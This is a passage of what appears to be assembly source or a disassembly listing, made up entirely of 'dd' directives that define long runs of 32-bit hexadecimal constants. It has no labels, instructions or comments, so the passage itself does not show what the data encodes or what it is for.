0F388A24Eh, 0DD0D2000h, 1EA4743Dh dd 80A0B35Bh, 0F1180407h, 0B6011A6Fh, 8B67D73Bh, 5C40D9Ch dd 78EB00D2h, 604A585Fh, 7F16C54Fh, 28006271h, 3085042Bh dd 9A8B05Ch, 75175202h, 0DD4B6F80h, 717B4307h, 6DCDE800h dd 6410858Fh, 75F300C3h, 443A0665h, 0DF077723h, 62287D93h dd 0D60C0529h, 0D1CCC507h, 924C7C0h, 81E000CFh, 3229F7FCh dd 7700BF72h, 6175AD7Eh, 43CA0Ah, 7F5E18A1h, 0B5205DD6h dd 0DB22FE0Eh, 7BC1A07Ah, 59B349h, 918AD04Ah, 79FCA331h dd 1260AF1Ch, 0E53C9A40h, 61698Fh, 0F5AAB49Fh, 280A118Bh dd 467D3A00h, 14C12FDh, 9FC00054h, 58159D77h, 5700E719h dd 5B1FC7Dh, 7EDAA6Bh, 2FCCB3E2h, 87323126h, 0D8B860C4h dd 0D0034F76h, 7BA78AF8h, 285FE0A0h, 84424836h, 5400153Dh dd 2CF56AF3h, 1E58B378h, 6700792Ch, 0B4340FAFh, 0B4ABAh dd 6558165Eh, 0A6194BC3h, 57003FE4h, 23F325E2h, 388AEC1Dh dd 0C82690F5h, 4F5100ACh, 0C60FE932h, 0BC543907h, 1D0076Ch dd 53F0A9h, 58B8A37Bh, 6A735CE5h, 863EEF00h, 0A0057AEDh dd 34980133h, 0E43FB1FEh, 12860CCh, 3800877Ah, 0B4DD797Eh dd 0D6039Bh, 0EA224B35h, 0C9AD9755h, 81F89F48h, 2EFB0B1Bh dd 5A003413h, 901F7D68h, 1CC288C0h, 82E6DF29h, 6915FA82h dd 0D4368041h, 7E00F6AEh, 1E9ACCC1h, 8D12A0h, 6BFCC701h dd 9D9454DAh, 0E82D8F00h, 25EBA648h, 26DC00B4h, 0B609AB63h dd 9160200Fh, 4EED4640h, 441007CEh, 2061EEFFh, 0FAA87DB1h dd 0F0C0CB00h, 0AD357A5Eh, 2B210033h, 0DA070174h, 887D5995h dd 8BD74C00h, 7112D002h, 0BA4226B5h, 0EB04001Dh, 0D9A4AA81h dd 2F1A6401h, 16F284DDh, 0C5AC4D4h, 4F409456h, 12000D76h dd 0D22C38E7h, 0FABA8BC1h, 354836h, 80CF21FAh, 0D0EEAA3Bh dd 89909AFFh, 7E1B5E00h, 7D8243BFh, 5B2A0016h, 539E17F1h dd 0A0083F3h, 4839CD56h, 1D93E360h, 0E86C6Bh, 0D89FB9A1h dd 0C152FC2h, 0D051ADh, 4C562515h, 90E55C38h, 0C0352400h dd 203B18BCh, 83007FD3h, 0CAAA4E66h, 0C036A8E5h, 14EC47F8h dd 3C964B7Ah, 58FDA930h, 0DBDE0111h, 0D6A12E95h, 8A20874Eh dd 65037E52h, 3D38B9FCh, 5504C4h, 300CA3B3h, 621CEB56h dd 2561F903h, 9FEC2E65h, 68ABE2D0h, 5F940151h, 26BF9503h dd 0B4BB70B1h, 40CA04Ch, 43F5463Ch, 0A208F4h, 0B88CC1DBh dd 8A322FC6h, 4CA05A90h, 0E5FCEBB5h, 55A19200h, 442F4D5Dh dd 0EFF2006Dh, 0C6AFA069h, 3362E768h, 6C1392E1h, 41EA00ECh dd 0BA6BBBBFh, 4F2EB4F4h, 4E840888h, 0DCE08D0Ah, 4C022DD8h dd 3F7187C0h, 4F06BC00h, 0FB97D1ACh, 300F0053h, 669E330Ch dd 7D002558h, 954294ADh, 40A768h, 0A1CA840Dh, 112B1306h dd 7962740Fh, 493F83C0h, 1EC09520h, 184A91h, 0EBF1A223h dd 0CAE42830h, 90D69C31h, 72D8AF4Bh, 516E0767h, 4065880Ah dd 8F3DC2BFh, 0B2108E04h, 0E8C061CAh, 0C4EB73h, 0C720BB80h dd 7667EA4h, 68BE7700h, 80FB519h, 0BAFD0FD2h, 0A7E0CB34h dd 15D813B8h, 1E218B00h, 0ACE8F2B9h, 1833001Ah, 0B514B424h dd 827A6BFBh, 0E10E3A7Dh, 40974A87h, 0F55236A9h, 77920024h dd 0AFEB3F83h, 4C006C66h, 4A8654F6h, 2E47AC59h, 3BEED8F9h dd 4502D8C8h, 71C3765Ah, 55B69C40h, 0F394F800h, 3660D270h dd 0EC744CCBh, 94EE280h, 85074D82h, 0ED3235F6h, 786881C9h dd 75E848A1h, 6C41161Ah, 0C2B809F7h, 392368E0h, 0B6030200h dd 11919DCBh, 8A1E0012h, 44DA9830h, 8100F7ECh, 0A76C1D79h dd 26B3BC93h, 5048861h, 1083B866h, 0DE01FAD4h, 682742E1h dd 0CEA0F4FDh, 190B2509h, 2D100043h, 5481CB3h, 10B4CD83h dd 40871ECAh, 0C7374008h, 2398C49h, 0CF161E9Ah, 38B00BFh dd 0B757CCE6h, 0EE0A1CBFh, 0D344C5F4h, 2C55C142h, 0D9183064h dd 172A5713h, 4C6B80C1h, 0F6ADB834h, 965300C5h, 234EF9A4h dd 900CC49h, 42BC7745h, 13A13Bh, 67891D08h, 2EF89403h dd 0E000E74Fh, 0E584C416h, 14E005h, 88974F20h, 0DE5742C6h dd 32EB7D00h, 3D8FC32Dh, 26FE0079h, 38EEE6ECh, 48007519h dd 0D0B4E46Ah, 15827Dh, 96F772A6h, 6F2BAD66h, 6BF1BF0Ch dd 303E8CEh, 233154BEh, 2AF7C48Fh, 0D8538D3h, 0C093CE37h dd 8535F8A7h, 6D794C18h, 1AAFD18h, 7B86CF2Dh, 0DCEA813Eh dd 590092B2h, 7E3A7DC0h, 5D57DE9Ch, 62D5454h, 0D802B080h dd 4CB6BF36h, 830BF013h, 6C480490h, 0B6A908C0h, 0D0E10033h dd 71F6CD32h, 0D52E0E27h, 0B918672Ah, 30FDABECh, 4FE855E6h dd 48989F0Dh, 0ED3E7417h, 0CCF95400h, 14106FEh, 71092BE2h dd 80D552F0h, 2C013E3Ch, 0C9A475h, 11A904B4h, 1D9538FEh dd 0F661038h, 925B520Fh, 19DD4CC1h, 0A1AC7F8h, 0AE144142h dd 0A33A80ECh, 72DF5C65h, 0FE765803h, 0E0C3D091h, 739A974Dh dd 59420F45h, 1B652FE3h, 9B4CA09Dh, 760FE803h, 0F05EA7D6h dd 50F9CD8Ch, 34FF8AAh, 8B90D451h, 46B8111Ch, 0CB008E30h dd 0DC819EA1h, 0ED25C6h, 0E343EE67h, 2EF8A21h, 0EBC7C302h dd 404D6314h, 1290A2E4h, 0C22B366Fh, 20E4EF18h, 4CADFB00h dd 36B83C2Eh, 809F381Bh, 0A7B54800h, 0C36413E2h, 6E00587Eh dd 0DDAF4DB9h, 0C7A5C6h, 34929103h, 0F1763ED4h, 0A979400Ah dd 9001D4B0h, 2C91E6A3h, 0F61B5AF4h, 0E7AD381Fh, 0F0505958h dd 190C0049h, 4CE3864Fh, 7F3D229Ah, 3A730075h, 9836A7F1h dd 637001BEh, 1E71B7C5h, 0D93880ACh, 0CDBFA89Ch, 73090E2h dd 677C352Ch, 474B5087h, 3B4C91DDh, 366D00ADh, 54631B13h dd 9CA400DAh, 0BB3020B3h, 5A07CDFDh, 7EA17947h, 0F1452980h dd 9C693B1Fh, 3DF29300h, 6A22D3F4h, 55558D2Ch, 0F3384700h dd 83567Ch, 8B4E24AEh, 7B070CE9h, 0CB4BB10Eh, 0E00A4F21h dd 0F36957C8h, 0DBBA0074h, 7067D91h, 994AD838h, 414D7840h dd 4CC42DC1h, 7E2EC54Eh, 9A610098h, 221126EEh, 74F8DA2Ch dd 0B65D5681h dd 0C644F36h, 0CE05171Eh, 10F89779h, 88C6FE74h, 8B00CD74h dd 8EEAA75Fh, 559F38h, 0C3350566h, 90F1FBFFh, 0E0223600h dd 1D305F4Ah, 0ACCA02C4h, 3BE16A3Ch, 8843FCF8h, 0C5BD8D87h dd 7604AEAEh, 9C805C7Bh, 9723DFh, 0C892B6DDh, 21044271h dd 4100F67Dh, 54D91F8Dh, 28CEF59Ch, 3FE08A8Ch, 56B8BEF7h dd 34E0DC00h, 69052F08h, 7F3D5A18h, 14D773B0h, 0E483E5D1h dd 0F3767200h, 609880D6h, 0DA00477Bh, 4367E265h, 154224Bh dd 942B8C90h, 0C4F57595h, 700D34Ch, 0A9B805BEh, 0B7257EDh dd 123191BCh, 0E3449420h, 3005E74Bh, 2F389E1Eh, 0BB4F1CD0h dd 84230005h, 0D385BDF5h, 8807FCD1h, 0A9B10846h, 5FB3C9C0h dd 3C4F00BFh, 6CF9F27h, 9001344Dh, 0D36BA14Bh, 0E0E4E285h dd 3DFB0043h, 0CB35D6E9h, 0F5005B3Ah, 5F1068E5h, 4DE4E3h dd 0AEC59B20h, 0D8B35065h, 6D37C800h, 0A25B8BDBh, 0D031481Fh dd 0F7EE84Fh, 0A04B7CD7h, 39378D19h, 8B43EEDh, 5EF6017Fh dd 1791B19Ah, 4A4C600Eh, 20050FCh, 0ED1A8FD2h, 5C60ECE7h dd 0A01E0FA3h, 638900C2h, 0CD39C655h, 7E036FF0h, 0A7659858h dd 0AD1ED8D6h, 1AB90787h, 7081B4E0h, 0EFC876F6h, 0C754C400h dd 4957B98h, 0B2A50B47h, 7400E4A4h, 0C3186EDh, 0AB212800h dd 6863044Bh, 3059F86Dh, 18214653h, 0D60745FEh, 745DB38Bh dd 1180C547h, 71657ABh, 0CEC4F430h, 5C4C1353h, 599A7FD0h dd 5E060701h, 0BDDA55CCh, 0E8027828h, 32A49B02h, 0F40D18E9h dd 6F001CDFh, 7EF248C6h, 0BB85283h, 19D0CF91h, 10351C87h dd 0A6E561FAh, 945E1200h, 0C64BE46Bh, 62360064h, 0B64A7DF7h dd 230C17F3h, 384E046Eh, 863E14D1h, 3800A5E7h, 485FA27Ch dd 831210CCh, 9C00D947h, 82FF28D2h, 0AB1D2870h, 0D37A0908h dd 4435964h, 0FC2F72E0h, 0EB0ED7F4h, 8E9FDDF3h, 80F26FBFh dd 0E8270635h, 0D69800AEh, 0B670AB7Bh, 0D0B578C4h, 44FB2E63h dd 48AC0F9Ch, 5CF7D080h, 6BE2DB59h, 388B6A18h, 17DDF441h dd 4081CB90h, 0B0DE37B4h, 0E000C24Eh, 0A44903B6h, 2F1D4Dh dd 2A85915Dh, 0FF425311h, 44EC3D07h, 8A108B78h, 0EF74B9Bh dd 0D9364189h, 7F6DC021h, 0EE8DD862h, 0F42C5C01h, 0C5A94467h dd 0AA38D4h, 0E83E3A8h, 931DD34Eh, 160B38h, 0F2A1BFFh dd 0D22EA0h, 0D9013F47h, 88C44C7Ah, 0CB572D07h, 7E60A7F0h dd 83399Bh, 7829816Ah, 0AB9E4876h, 67E35809h, 0DEC78077h dd 0EB570Eh, 334F7B83h, 145B0DF5h, 5A0AAA00h, 0EAC2F02Fh dd 5D19805h, 0A0D22719h, 6A1FC034h, 260E9C11h, 27DFFDB8h dd 0F3405DFFh, 2406C60h, 0EF5E5497h, 0F86AF432h, 5504D808h dd 18FE0074h, 5BBCAD10h, 0D500E446h, 16A889BDh, 154F4Ch dd 0F7CA9B17h, 1410B9E3h, 0CB80D50Eh, 88818011h, 0F8A8BDB2h dd 54E20FB3h, 0AFCEAC46h, 44C6AA41h, 15CDF08Eh, 0C9004774h dd 0C07BEA5Ah, 0F689A9h, 0B210A1EBh, 176B4BCh, 0BEC63Ch dd 67AEE175h, 2BACC15h, 0DF18448Ch, 0A7E1E876h, 40023B3Eh dd 13FF07Eh, 196E53Dh, 0CF10819Dh, 52801E7Ch, 40C989F2h dd 29BD614h, 1821DC83h, 0E89511F1h, 11849D11h, 9117FE7h dd 0DCA1135Ah, 4A85EF44h, 0CA042803h, 0D0A3EB8h, 0ECF4083Ch dd 0EA841F90h, 42D948E2h, 9B245722h, 12D97021h, 0F61484E5h dd 2882B722h, 3124DC59h, 1270B121h, 49A1053h, 441D4040h dd 185499ECh, 67442FA0h, 29086474h, 0B30E4029h, 1556D43h dd 377F16BAh, 704CD540h, 69008725h, 7EAF0159h, 0B8B9FCh dd 9080F2DEh, 0E92B98D7h, 72229600h, 95F08C5Bh, 26160FCAh dd 0E3FCED1h, 6D41B198h, 87A807FFh, 0E4F3B0CAh, 0ABB58350h dd 3B913A43h, 4E03B4CCh, 0ED880EA5h, 24E2A6D8h, 0C078B100h dd 57411CB3h, 0E373CDh, 237C529Fh, 6B8EF37h, 916BCC01h dd 0CE0FB73Fh, 994DF0h, 5896DD41h, 0C2EB723Ah, 0B2359E1Ch dd 0A005F9C9h, 0DD4C6398h, 0A36701D8h, 0B60671AEh, 7719F439h dd 551AA900h, 2621DCC7h, 598F1868h, 4C2E503Ch, 30666200h dd 0F32CD463h, 0E1DCEBAAh, 7D21003Ch, 9E3927A9h, 50943FEBh dd 8B17F824h, 0CD8C0Bh, 7AD85FD9h, 0D406007Fh, 764D102Dh dd 3B03A074h, 0AB0D5E4Ch, 5CE6B059h, 2CDF0061h, 246D4FCCh dd 0CA00D8DBh, 0F3D6F1F9h, 1B0B23h, 98059903h, 7ED3077h dd 8A70E30Ch, 1D72069h, 0F7D4195Ch, 20969D75h, 82E0770Dh dd 4A5DB200h, 0F42542C0h, 0B86B07Fh, 7DFA2887h, 8000E80Fh dd 0B44DFB41h, 0BD3E000h, 8283EA0h, 0A9F10050h, 47822B9Dh dd 1500B54Ch, 0F96F72A7h, 0B810CE21h, 7B61007Dh, 0F46422EDh dd 0A77081Dh, 88DBAC28h, 9F825A00h, 0E2C0A4B1h, 21EEC2h dd 7857E0D2h, 0C888FD93h, 0B8359B00h, 2EC3A4BFh, 80DD00F9h dd 933EF705h, 103F0A58h, 440BFB9h, 0CA17BA1Ah, 5543480h dd 0D18087DCh, 2F3BBE3Fh, 6DCA282Dh, 0A3D81E90h, 61CCC0A0h dd 64B1B595h, 93CFD61Fh, 779851CBh, 9BC97680h, 1C0046A9h dd 24FF043h, 7143010h, 847B0DC3h, 70931134h, 7820207Ah dd 0B0AF2602h, 41A3BE32h, 0E7DC8C18h, 0A77EAAh, 19225DD5h dd 7FA4362Bh, 0E1912704h, 0DCD02E41h, 78BBFF2Ah, 77301FF1h dd 0FC813B06h, 728811CAh, 85BD20B9h, 0B0001E71h, 47099BC0h dd 0FE612097h, 4F5A074Dh, 0F0F4B8BEh, 2A810A02h, 0A9F57800h dd 0ADCC4093h, 0A0D5848h, 1C90B100h, 0AB3D7B92h, 7CD26700h dd 8F02A5Ah, 0DCF0EC2h, 0E84788D1h, 4EEF70A5h, 7D004C98h dd 78AE6C23h, 25F9A1h, 90C903D7h, 0D8C512Ch, 2302E100h dd 0FDCB2E17h, 1A070637h, 290B95E8h, 0B361DC00h, 0A5D3E9DAh dd 0E6300FAh, 0C3568B55h, 0C000FBD2h, 0F5AEEBBh, 0C2B927h dd 939EDF84h, 256564E5h, 8BC5DE00h, 0CD0F4A7Ah, 0F68D00B4h dd 72E60A4Bh, 551EAF63h, 45005F9Dh, 3294573Eh, 0FAA660EFh dd 1C7DE3B5h, 92F0960Eh, 44C3FC30h, 0F0C23CC3h, 0CE65DBD8h dd 52C0220Eh, 16BB91D5h, 5000BF7Dh, 0C5D9A14Ch, 4310CBh dd 929790C7h, 0B7F0DFDCh, 40EE3400h, 0F6412FABh, 0DE5A0064h dd 915FA0CDh, 89136BB2h, 0B9B82EEAh, 3C8A8D00h, 3E36F46Eh dd 9F904D00h, 4972D2E9h, 0EA6379F1h, 51B0A07Ah, 5A2C0027h dd 30ABD8D7h, 0B31D5BD2h, 1094D6DEh, 0AF1500C2h, 63C8BEFCh dd 22990225h, 8A6F5CE7h, 91C08C83h, 57207BD8h, 11B7810Eh dd 1B4700F8h, 0AC5C10h, 0B4277342h, 4BC06F50h, 32A7CA00h dd 486DD30Eh, 84993B89h, 0B7A001F4h, 0BC98F09Bh, 0D23D6090h dd 0F5748200h, 49C39948h, 383F00BEh, 84B33EEBh, 0C8004DB6h dd 0F8C99BCCh, 0F9C588Ah, 0EF17F298h, 8466A5h, 25CF01CEh dd 0BC07511Ah, 0B40FB03Bh, 4950807Eh, 0EFB1EAh, 0D8CC79F8h dd 486C411Eh, 5DADE309h, 92C50006h, 14C9F9EEh, 0CE426EDh dd 9ACDD480h, 9800CA51h, 0FBA46159h, 7AFFE844h, 0AC5602B1h dd 695517F4h, 62248C81h, 0BC6FECF1h, 8753A500h, 22A0860Ch dd 42553C60h, 7AEC7381h, 0D04BCB48h, 92004CD3h, 41E5E228h dd 1A50Bh, 0F1DAE0C8h, 821E1569h, 0E104848h, 78C2227h dd 9DB07402h, 14663119h, 8C4B7D12h, 0BD0B1D02h, 0C080C1EEh dd 9B6810D6h, 3B32E100h, 0B9F3B51Eh, 92830016h, 0C48743F2h dd 20045C1Dh, 843FBBB3h, 1E733481h, 0A11BE8h, 6B1D0E78h dd 1AD6EAF0h, 68000574h, 0EB88C129h, 0D93DF1h, 18980396h dd 6AA19907h, 2A504500h dd 0DF2F6FEAh, 1D873934h, 634D1700h, 0F13E64A1h, 3AD3BD00h dd 21E2EFCBh, 42C50107h, 76BEB175h, 0F3BE0D1h, 1007872h dd 84509B2Ch, 0E9C5408h, 34C2A87Eh, 11224361h, 40CFF3A3h dd 56C90D66h, 1854F507h, 2420DA1Ah, 75A9DE0Ah, 48A53E75h dd 0E4E1600h, 5CD4AF29h, 0C2EFCA07h, 4373A799h, 91F6A83Ah dd 9E760FBCh, 0CC201073h, 2C725E65h, 0AF302504h, 6C802A8Dh dd 346296Eh, 51ED523Eh, 0D1E875FCh, 71601EAh, 8019FC6h dd 744656E5h, 0DD4ADCh, 0D8DF14EBh, 30DF3CCh, 6E80A007h dd 930F6ACh, 0FB21C3Ch, 0A5201AD7h, 0CC0A7EA3h, 0E471AAE0h dd 33156B00h, 4A0291ACh, 3C414C6Ch, 0C4B2CD07h, 9731E07Dh dd 0E4006799h, 0CF535E93h, 8B87C5h, 0C003ADA6h, 8657F7D1h dd 8497E0E3h, 5F716B05h, 5087D8F0h, 0EE000029h, 0C0C3B9h dd 886421C7h, 977A25A5h, 0D4EDCC00h, 81FDECE3h, 7602130Eh dd 13B800F7h, 937C4530h, 0E40088FEh, 0D80957F5h, 1D5105D3h dd 5C2232F0h, 8017DF3Bh, 0CD1BD980h, 0B000167Ah, 0C0D1DBFCh dd 38E36BAh, 6CEAA6A1h, 4CE89245h, 0BD01DC73h, 0AD3448C8h dd 42F49370h, 0D7DA00B4h, 37770263h, 0B0021F5h, 0F6EC44D2h dd 0F07BA7h, 0D3E891C9h, 83C38C79h, 0D70071F8h, 44349078h dd 39BE16h, 1AAB6F14h, 7F9126D4h, 9B6AF607h, 0FF608525h dd 0B36D62h, 0B47109BFh, 0C5F9F50Bh, 0C75AA00Eh, 45F16F77h dd 8E205Eh, 7D1856F2h, 0F4E64CAEh, 17705A03h, 3BD08AF0h dd 0E5B81330h, 0C70090F8h, 57603FCAh, 1D10BE95h, 0D3BF1E61h dd 0D65F0005h, 5DA65993h, 0C6B3100h, 0C7D7206Dh, 0C8E30029h dd 0AEC6EFF8h, 39007766h, 971DC9D6h, 3A4F9C4h, 0DA91296Fh dd 1C80B2DDh, 6C00511Fh, 723E58FFh, 0FA0ACDh, 3BD50417h dd 0C44FE0E9h, 1C034DEEh, 0A1072E5Fh, 0B2CFD0A7h, 9EC7ACCh dd 86909B4Bh, 0D0883401h, 5E1701Ah, 2DA6D302h, 4093E940h dd 1388584h, 0E7538C98h, 0CC1C15CAh, 2E005E66h, 56309DB7h dd 38A5E6h, 0E0A48EADh, 36DB25DCh, 0FA00F8FCh, 2F1B4D9Ch dd 0E426C10Ah, 4891B81Ch, 1104847Eh, 24D04106h, 907A4680h dd 1E966033h, 428BE721h, 25F35600h, 0E26793BDh, 71B3075Ch dd 8B08D247h, 56F5FC20h, 0D150FE58h, 880014C4h, 7C696BE0h dd 0CB2241h, 8DB0A4D9h, 8AA382CFh, 0C5A07E01h, 0F5E6EDAh dd 480109C9h, 4CE0371Fh, 26892450h, 3EC7014h, 67BE5C08h dd 0B6876EBh, 87C92E95h, 47B09C00h, 860ED86Eh, 273DC51Ch dd 7170F877h, 214A530h, 76576F41h, 5A4192E4h, 0CB4AC47Eh dd 5FC41D00h, 94F8B32Bh, 4C6300DAh, 8AD2CDAAh, 0C73EB584h dd 0B8ED0042h, 1AB191CBh, 8763002Ah, 925488A8h, 19006DC6h dd 615D3E2h, 0EA04FEh, 0D0A8AB99h, 575D3601h, 68F37800h dd 517E32FFh, 60BD002Ch, 0BCD756ABh, 25006B1Eh, 5549C0BEh dd 6790CDh, 0CF3F7B89h, 7145EC68h, 1E30AC00h, 41FD2C7Ch dd 43C500FFh, 680B2FA3h, 0F22C3884h, 0B400A794h, 73CEC9E9h dd 176E0016h, 3E4065B7h, 790A63CAh, 0D8D5705Dh, 49197BEh dd 51063500h, 16CF235Ah, 0C98BDDh, 1C4942F0h, 0A4F8BA5Ch dd 99B29000h, 1B443AB5h, 6C7E3Dh, 182B1A40h, 0E40FE54Eh dd 93BAD607h, 0C4E153F3h, 8B3079B9h, 71E22E88h, 2438001Ch dd 0DE1DD7AFh, 13FD0A00h, 104B9D8Fh, 27F000D3h, 26F8A079h dd 37AE49Eh, 327AF11Dh, 0E2C3DDDCh, 0B0AB1A22h, 447E34h dd 131C9368h, 986142AEh, 0E85E3507h, 0F3B0B590h, 1066975h dd 604FE54Bh, 8FC87F5Bh, 5FD43938h, 0EE1F1102h, 0C175C0F2h dd 0F7043969h, 0BEF90073h, 14884624h, 0B003D5B7h, 6C9BA44Eh dd 9F4040CCh, 4C3D0008h, 206EF572h, 7607DFCBh, 0DDF8A2ECh dd 0F961ABA1h, 0C904F4h, 0DCE4568h, 0CD9EBFA0h, 97A3D07h dd 40098BBBh, 76FD4DCh, 9C98CB32h, 6047476Ch, 0A6C9BECCh dd 0D305D57Ch, 3F708308h, 0C722D800h, 0F9E6A49h, 79023C2Eh dd 0E567A3A1h, 7716C466h, 0AC0F2498h, 5E22D0A5h, 71B72C00h dd 87D596h, 0EB9DF1E8h, 898A8385h, 0E366AF00h, 0E45197EFh dd 0BB390007h, 9EC254F2h, 4300F96Ch, 0CBAFB2C5h, 18DDC08Dh dd 88206FA8h, 0AA01463Bh, 5B96874Ch, 0E02089EAh, 761C4C2Bh dd 1720C12h, 437EA1D4h, 80CF310Eh, 0CD297910h, 0F2F6571h dd 914EB8FFh, 0A17ED140h, 0E1008FA9h, 9AC61697h, 79706212h dd 91D300A6h, 0F19030C1h, 970FE8ACh, 36F01814h, 0D83001Dh dd 0F86A3519h, 4461D1h, 0C796340Ah, 20AEFD84h, 8046AF3Ch dd 0A79DB18Fh, 1EF6DCEEh, 0C00C231Fh, 0CAC645C4h, 7A186019h dd 1EE19BE6h, 98FB5CD3h, 0DE6E2Ch, 2A674B1Ch, 0E9032BCDh dd 33F9F6C6h, 0B5B0B820h, 18163893h, 0B265C500h, 0D38339DFh dd 7E910E00h, 0DC042B6h, 2557B89h, 0FD94B9A6h, 8880C72Dh dd 47A99EC1h, 0A43E7426h, 6B17E306h, 0C6420078h, 55A7F44h dd 0FC07C8A7h, 3EF1FB06h, 0EC36DCF0h, 17E60042h, 753B95A8h dd 0BBB064D6h, 0A1816200h, 5714B69Ah, 77D1C7A0h, 0FE2CF06Eh dd 63033D48h, 0D11AFC66h, 5354F0C9h, 989695h, 9F811323h dd 550147D6h, 0E95FAB9Bh, 0B430D0DDh, 0EC9600EAh, 0D775647Bh dd 600015F2h, 98DF22A7h, 3772B4FEh, 30706577h, 0C76AC84Eh dd 0BCE1CD03h, 0B030A3C2h, 780B9070h, 0D168C0DEh, 0F5E7E58Ah dd 0A7440100h, 571CCDFAh, 27F90F42h, 0E00FD212h, 0F522CCC0h dd 0C9612336h, 80450FD1h, 50C14082h, 0C0FA7Bh, 7475BC8Bh dd 48558h, 92B30DF4h, 8228AAh, 0A1203608h, 0A8783FFBh dd 3540F21Fh, 0CF69900h, 25194304h, 4005A76h, 0B83E5D30h dd 0F9030FE0h, 3188A5DEh, 6C908474h, 0EACB213h, 20B946BAh dd 47D4E2A7h, 0F1058EF4h, 0C0D887D3h, 85E30EF3h, 0C8ECBA00h dd 0B37CCD5Ch, 0D03005E1h, 404BD6C1h, 7583C2ACh, 0A000D59Eh dd 8CF1673Ah, 0F6E637h, 1771C84Ch, 491C0731h, 2E303367h dd 35FC0E80h, 10C10B89h, 8C2020D8h, 5AFF820Dh, 1B1D59C0h dd 0A38B49h, 0E943C26Ah, 0B21FB445h, 44293600h, 0CD0B8D3Dh dd 685400CEh, 157ED4FDh, 97009D2Bh, 13C08F7Dh, 0C9E844h dd 75CBA694h, 8AB50266h, 760A6C00h, 78210E3Ah, 51BC00A4h dd 0C4CB2F5Bh, 0DD00FFC2h, 0F5C76703h, 7C2C70h, 0F7201F90h dd 0F16908CCh, 1E034EE6h, 588BA9E9h, 5AB6A099h, 0C45C2452h dd 5600412h, 939BC07Eh, 40024832h, 0F0AA2FA8h, 76B24050h dd 1D110F35h, 1EE13B73h, 8E836612h, 20E16350h, 94ED5E47h dd 0FD15146Dh, 0AB00984Ch, 25884D3h, 44001C36h, 2BDEC4B4h dd 0E215CFh, 313DD9D5h, 0C361736Fh, 0C3077026h, 0C371D00h dd 9C1DDh, 5D34A7EFh, 15EB8517h, 8DF2CBF4h, 8007174h, 8E53ACCAh dd 55D5B9h, 3424DCC9h, 294CFC35h, 0C7113F00h, 0A66E1E61h dd 30C07849h, 0F0213DD7h, 2D06A158h, 70D62082h, 76070F50h dd 9167DF67h, 0D6BF003h, 0C50399B1h, 3D71E7A2h, 0CED089E4h dd 0FAFC02C4h, 0D387003Fh, 18FBAB96h, 4D147C1Fh, 8C9FDEh dd 1B6F4E15h, 15EADFDh, 0ED4AB55Dh, 0D85BF640h, 7A0E9AC1h dd 8031958Bh, 918998F4h, 774D004Ch, 1B7B7EF7h, 7F5C4B2Ah dd 1A3E0565h, 97C0E7E4h, 1F551E0h, 70F93549h, 309ACF8Ch dd 0D907E4CCh, 0D0297417h, 3443DD30h, 60C400A6h, 6E7EEBFBh dd 0DA2C23D4h, 3D806CFDh, 0AAC748C6h, 5DEE00EFh, 423579B2h dd 753D4ADAh dd 800927D8h, 2A06708Ch, 0F80F5D21h, 0B8FA7C03h, 1FA010B5h dd 0C3006036h, 7A91E5A1h, 0D2CC84h, 0AF118CE8h, 77D5BB47h dd 0C030EC99h, 2535371Ch, 2880FFE0h, 0C215A318h, 4E8A3609h dd 8EAC20BBh, 60AB7AB7h, 0A47B11CFh, 0CCE1E50Bh, 0A504C275h dd 0DA605721h, 909CBC80h, 0CA390444h, 0A4A73392h, 2B258A88h dd 4907470h, 0A01BE94Dh, 5F065860h, 64712D8Bh, 0E6903D61h dd 8A030AD8h, 4B131108h, 0A30760CFh, 703A5FD1h, 0E3040357h dd 0E8977FC2h, 4BFD05h, 3EBEFC50h, 4072E4D3h, 0CFFFE8C3h dd 655901ABh, 0BD9CE2EAh, 0C486E057h, 7118955Ch, 0DE7C1400h dd 0DAAB06B4h, 0C6F6006Fh, 0D82135FFh, 1F003915h, 254B7BC2h dd 230602h, 0F6905347h, 9EEEA5ADh, 80F79B04h, 0B480301Ah dd 32D54Dh, 0D624773Ah, 0AF310D7Ch, 0A91FCE12h, 0B6853D1Dh dd 36C4497Dh, 6A3CE881h, 674EDCh, 1F6B1DA4h, 393BDEF6h dd 5A8D681Eh, 5240BB5Fh, 32B370B0h, 9A3439C0h, 0E9E2AA80h dd 50282E83h, 59C4791Fh, 8A161D80h, 1690C7F1h, 8C84B94Fh dd 0A7004508h, 2CE4255Dh, 278159h, 3FC8CB62h, 0BFEE9141h dd 92CF5C00h, 0D3BCCCC2h, 5E0043Ah, 0C09BA2B4h, 3308232Fh dd 56F0AF00h, 12A9706Fh, 4ACD0041h, 0DA05AE49h, 300726AAh dd 0F3774B62h, 0C0E7EFC0h, 38D71D54h, 59DD5Ch, 5F40DF33h dd 0DB05A1FDh, 3DD469A2h, 5634B0h, 0BA258BB8h, 853B4B20h dd 9D2D5800h, 3E0EFCC5h, 30E458C3h, 8DC0AF07h, 4B0304Bh dd 0FD00C78Eh, 0C2B621B2h, 0DC1F81h, 6971DB1h, 5B4522C9h dd 67DA7700h, 0F4602F8h, 8E50751h, 318E4252h, 0F8A2B12Dh dd 7C16C44Fh, 0CC418593h, 13167A06h, 0A808F0EAh, 7DE94h dd 0B34E755Ah, 3F78AE14h, 26502500h, 8090C9F6h, 35940045h dd 0C5542719h, 4E00ABADh, 286F58F7h, 0B575FEh, 46F1D842h dd 0A895761Fh, 61E35403h, 3B7334F6h, 864C7F10h, 0DC911900h dd 1A6B3A87h, 0F7A2EC05h, 0F28052AAh, 77A6859Fh, 0D8C003BBh dd 0FC92553Eh, 3205D5C8h, 5A7AADF2h, 65672424h, 34985000h dd 749FE54Dh, 0C5B000DBh, 12D2A1C7h, 0E80E030Ch, 0C0AF5F60h dd 0ED3D36F6h, 0FC7300ECh, 0A4891F77h, 92002572h, 2E3CADDFh dd 9057D2CDh, 0F41C0060h, 11473968h, 0E40F4BBDh, 831B7E97h dd 0C83AAC0Ah, 0B24358h, 0D25310AEh, 0E03B14A1h, 88428B00h dd 0F0770EA3h, 2DA23F99h, 0E8336204h, 1A2F00BFh, 2636C0A7h dd 8118148Ch, 5B4A565Fh, 4E118069h, 6F3CD51h, 75C302Ch dd 1D97D70Ah, 9D3DEA38h, 6A438C41h, 9052298Ah, 0B0E9E8h dd 17C9C218h, 0BD43BEFAh, 0F814D91Ch, 0ABCC00FFh, 4FA73F30h dd 0D4CD0026h, 5E61B2F3h, 0AF76292Eh, 2E1C074Dh, 8E0064C8h dd 24A53DC3h, 0EA1000D3h, 0AD0B538Bh, 7F002ABCh, 452C9DE5h dd 0FA5735Eh, 44EE405Ch, 0DD6FD1E3h, 7C013800h, 4DA855CBh dd 0E6BA0065h, 8AAB473Ah, 3900F714h, 